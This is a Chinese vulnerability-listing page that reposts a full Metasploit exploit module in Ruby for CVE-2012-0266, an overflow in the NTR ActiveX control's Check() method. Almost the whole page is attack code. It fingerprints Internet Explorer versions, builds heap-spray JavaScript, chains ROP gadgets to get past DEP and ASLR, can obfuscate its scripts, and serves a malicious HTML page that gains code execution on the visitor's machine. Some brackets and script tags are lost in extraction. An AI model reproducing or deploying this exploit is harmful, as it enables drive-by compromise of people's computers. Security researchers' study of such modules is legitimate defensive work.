发布 2012-10-10 漏洞条目

NTR – ActiveX Control ‘Check()’ Method Buffer Overflow (Metasploit)

Exploit Source

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::RopDb

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:ua_name => HttpClients::IE,

:ua_minver => "6.0",

:ua_maxver => "9.0",

:javascript => true,

:os_name => OperatingSystems::WINDOWS,

:classid => "{E6ACF817-0A85-4EBE-9F0A-096C6488CFEA}",

:method => "Check",

:rank => NormalRanking

})

def initialize(info = {})

super(update_info(info,

'Name' => 'NTR ActiveX Control Check() Method Buffer Overflow',

'Description' => %q{

This module exploits a vulnerability found in NTR ActiveX 1.1.8. The

vulnerability exists in the Check() method, due to the insecure usage of strcat to

build a URL using the bstrParams parameter contents (note: this is also the reason

why the module won't allow you to modify the URIPATH), which leads to code execution

under the context of the user visiting a malicious web page. In order to bypass

DEP and ASLR on Windows Vista and Windows 7 JRE 6 is needed.

'Author' =>

[

'Carsten Eiram', # Vuln discovery

'juan vazquez' # Metasploit module

'License' => MSF_LICENSE,

'References' =>

[

[ 'CVE', '2012-0266' ],

[ 'OSVDB', '78252' ],

[ 'BID', '51374' ],

[ 'URL', 'http://secunia.com/secunia_research/2012-1/' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload' =>

{

'Space' => 956,

'DisableNops' => true,

'BadChars' => "",

'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500

'DefaultOptions' =>

{

'InitialAutoRunScript' => 'migrate -f'

'Platform' => 'win',

'Targets' =>

[

# NTR ActiveX 1.1.8.0

[ 'Automatic', {} ],

[ 'IE 6 on Windows XP SP3',

{

'Rop' => nil,

'Offset' => '0x5f4',

'Random' => false,

'Ret' => 0x0c0c0c0c

}

[ 'IE 7 on Windows XP SP3',

{

'Rop' => nil,

'Offset' => '0x5f4',

'Random' => false,

'Ret' => 0x0c0c0c0c

}

[ 'IE 8 on Windows XP SP3',

{

'Rop' => :msvcrt,

'Offset' => '0x5f4',

'Random' => false,

'Ret' => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt

}

[ 'IE 7 on Windows Vista',

{

'Rop' => nil,

'Offset' => '0x5f4',

'Random' => false,

'Ret' => 0x0c0c0c0c

}

[ 'IE 8 on Windows Vista',

{

'Rop' => :jre,

'Offset' => '0x5f4',

'Random' => false,

'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6

}

[ 'IE 8 on Windows 7',

{

'Rop' => :jre,

'Offset' => '0x5f4',

'Random' => false,

'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6

}

[ 'IE 9 on Windows 7',

{

'Rop' => :jre,

'Offset' => '0x5fe',

'Random' => true,

'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcrt71 from Java 6

}

]

'Privileged' => false,

'DisclosureDate' => 'Jan 11 2012',

'DefaultTarget' => 0))

register_options(

[

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])

], self.class

)

deregister_options('URIPATH')

end

# Returns a random URI path which allows to reach the vulnerable code

def resource_uri

path = random_uri

path << random_uri

return path

end

# Generates a random URI for use with making finger printing more

# challenging.

def random_uri

"/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)

end

# Spray published by corelanc0d3r

# Exploit writing tutorial part 11 : Heap Spraying Demystified

# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/

def get_random_spray(t, js_code, js_nops)

spray = <<-JS

function randomblock(blocksize)

{

var theblock = "";

for (var i = 0; i < blocksize; i++)

{

theblock += Math.floor(Math.random()*90)+10;

}

return theblock;

}

function tounescape(block)

{

var blocklen = block.length;

var unescapestr = "";

for (var i = 0; i < blocklen-1; i=i+4)

{

unescapestr += "%u" + block.substring(i,i+4);

}

return unescapestr;

}

var heap_obj = new heapLib.ie(0x10000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;

var offset_length = #{t['Offset']};

for (var i=0; i < 0x1000; i++) {

var padding = unescape(tounescape(randomblock(0x1000)));

while (padding.length < 0x1000) padding+= padding;

var junk_offset = padding.substring(0, offset_length);

var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);

while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;

sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);

heap_obj.alloc(sprayblock);

}

return spray

end

def get_spray(t, js_code, js_nops)

spray = <<-JS

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{t['Offset']});

var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var z=1; z < 449; z++) {

heap_obj.alloc(block);

}

return spray

end

def get_target(agent)

#If the user is already specified by the user, we'll just use that

return target if target.name != 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/

return targets[1] #IE 6 on Windows XP SP3

elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/

return targets[2] #IE 7 on Windows XP SP3

elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/

return targets[3] #IE 7 on Windows XP SP3

elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/

return targets[4] #IE 7 on Windows Vista SP2

elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8/

return targets[5] #IE 7 on Windows Vista SP2

elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/

return targets[6] #IE 7 on Windows 7 SP1

elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/

return targets[7] #IE 7 on Windows 7 SP1

else

return nil

end

def get_payload(t, cli)

code = payload.encoded

# No rop. Just return the payload.

return code if t['Rop'].nil?

# Both ROP chains generated by mona.py - See corelan.be

case t['Rop']

when :msvcrt

print_status("Using msvcrt ROP")

rop_payload = generate_rop_payload('msvcrt', code, {'target'=>'xp'})

else

print_status("Using JRE ROP")

rop_payload = generate_rop_payload('java', code)

end

return rop_payload

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']

print_status("User-agent: #{agent}")

my_target = get_target(agent)

# Avoid the attack if the victim doesn't have a setup we're targeting

if my_target.nil?

print_error("Browser not supported: #{agent}")

send_not_found(cli)

return

end

p = get_payload(my_target, cli)

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))

js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

if my_target['Random']

js = get_random_spray(my_target, js_code, js_random_nops)

else

js = get_spray(my_target, js_code, js_nops)

end

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']

js = ::Rex::Exploitation::JSObfu.new(js)

js.obfuscate

end

# The overflow occurs after strcat'ing controlled data to

# a url with the next format:

# http://192.168.1.128:8080/asdf/mod/mod.asp?a=0&d=[USER DATA]

# The URI length can be calculated on the fly since the value

# for the "a" param is being always 0 on my tests, even when

# should be the result of GetTickCount

my_uri = get_uri(cli)

pos = my_uri.rindex("/")

my_uri = my_uri[0, pos]

my_uri << "/mod/mod.asp?a=0&d="

my_badchars = "\x00\x0a\x0d\x22\x2c"

if my_target['Rop'].nil?

bof = rand_text_alpha(1056 - my_uri.length, my_badchars)

bof << [my_target.ret].pack("V")

else

bof = rand_text_alpha(1024 - my_uri.length, my_badchars)

bof << [0x0c0c0c0c].pack("V") # will become ESP after stackpivot

bof << rand_text_alpha(1056 - my_uri.length - bof.length, my_badchars)

bof << [my_target.ret].pack("V") # stackpivot

end

sploit = "#{bof},#{rand_text_alpha(4)},#{rand_text_alpha(4)}"

html = <<-MYHTML

<html>

<head>

#{js}

</script>

</head>

<body>

test.Check("#{sploit}");

</script>

</body>

</html>

MYHTML

html = html.gsub(/^\t\t/, '')

print_status("Sending html")

send_response(cli, html, {'Content-Type'=>'text/html'})

end

作者: Metasploit
日期: 2012-10-10
类别: remote
平台: windows

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